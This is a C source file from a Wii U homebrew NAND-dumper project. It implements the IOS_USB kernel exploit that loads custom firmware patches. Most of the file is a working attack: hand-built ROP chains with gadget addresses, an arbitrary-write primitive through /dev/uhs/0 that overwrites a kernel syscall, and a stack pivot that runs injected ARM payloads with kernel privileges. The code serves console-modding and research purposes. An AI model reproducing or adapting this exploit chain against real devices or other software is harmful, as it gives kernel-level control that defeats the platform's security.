wiiu-nanddumper-payload/src/ios_exploit.c
dimok789 b65b6c86cc - fixed bug with re-initialization of EEPROM and OTP dump on SD card
- added new feature which allows you to disable os full relaunch (only possible in combination with sysNAND, not redNAND)
- added new option which allows to return to HBL after executing the patches and not launch to System Menu (only in combination with disabled OS full relaunch)
- some clean ups

NOTE to the new feature:
The new feature to disable full OS reload behaves similar to the simple signature patcher except that it setups execution memory region from kernel for wupserver and iosuhax dev node code and starts those. So it's a fast simple signature patcher with the addition of wupserver and iosuhax dev node. Another addition to the simple sign patcher is that the patches reload themself when exiting settings. Launch image is disabled for this method though.
2016-12-14 14:14:12 +01:00

413 lines
18 KiB
C

#include <string.h>
#include <stdio.h>
#include "dynamic_libs/os_functions.h"
#include "cfw_config.h"
#define ALIGN4(x) (((x) + 3) & ~3)
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE (0x120000)
#define IOS_CREATETHREAD 0x1012EABC
#define ARM_CODE_BASE 0x08135000
#define REPLACE_SYSCALL 0x081298BC
extern const u8 launch_image_tga[];
extern const u32 launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC;
static int *ayylmao = (int*)0xF4500000;
//!-------------------------------------
typedef struct
{
u32 size;
u8 data[0];
} payload_info_t;
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "../ios_kernel/ios_kernel.bin.h"
#include "../ios_usb/ios_usb.bin.h"
#include "../ios_fs/ios_fs.bin.h"
#include "../ios_bsp/ios_bsp.bin.h"
#include "../ios_mcp/ios_mcp.bin.h"
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x00000000, // 0x150 value: NOP
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0x1AFFFFFD, // 0x150 value: BNE clean_loop
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(ios_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x00140000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
};
static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x00130000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
};
static void uhs_exploit_init(int dev_uhs_0_handle, cfw_config_t * config)
{
ayylmao[5] = 1;
ayylmao[8] = 0x500000;
memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
payload_info_t *payloads = (payload_info_t*)0xF4148000;
payloads->size = sizeof(cfw_config_t);
memcpy(payloads->data, config, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
payloads->size = sizeof(ios_usb_bin);
memcpy(payloads->data, ios_usb_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->redNAND)
{
payloads->size = sizeof(ios_fs_bin);
memcpy(payloads->data, ios_fs_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->seeprom_red)
{
payloads->size = sizeof(ios_bsp_bin);
memcpy(payloads->data, ios_bsp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
payloads->size = sizeof(ios_mcp_bin);
memcpy(payloads->data, ios_mcp_bin, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
if(config->launchImage)
{
FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
if(pFile)
{
fseek(pFile, 0, SEEK_END);
payloads->size = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
fread(payloads->data, 1, payloads->size, pFile);
fclose(pFile);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
else
{
payloads->size = launch_image_tga_size;
memcpy(payloads->data, launch_image_tga, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
}
}
pretend_root_hub[33] = 0x500000;
pretend_root_hub[78] = 0;
DCStoreRange(pretend_root_hub + 33, 200);
DCStoreRange((void*)0xF4120000, sizeof(second_chain));
DCStoreRange((void*)0xF4130000, sizeof(final_chain));
DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
DCStoreRange((void*)0xF4148000, ((u32)payloads) - 0xF4148000);
}
static int uhs_write32(int dev_uhs_0_handle, int arm_addr, int val)
{
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 521 * 4); //! Make CPU fetch new data (with updated adress)
OSSleepTicks(0x200000); //! Improves stability
int request_buffer[] = { -(0xBEA2C), val }; //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}
int ExecuteIOSExploit(cfw_config_t * config)
{
int iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
if(iosuhaxFd < 0)
{
//! execute exploit
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
if(dev_uhs_0_handle < 0)
return dev_uhs_0_handle;
uhs_exploit_init(dev_uhs_0_handle, config);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
IOS_Close(dev_uhs_0_handle);
}
else
{
//! do not run patches again as that will most likely crash
//! because the wupserver and the iosuhax dev node are still running
//! just relaunch IOS with new configuration
IOS_Close(iosuhaxFd);
}
return 0;
}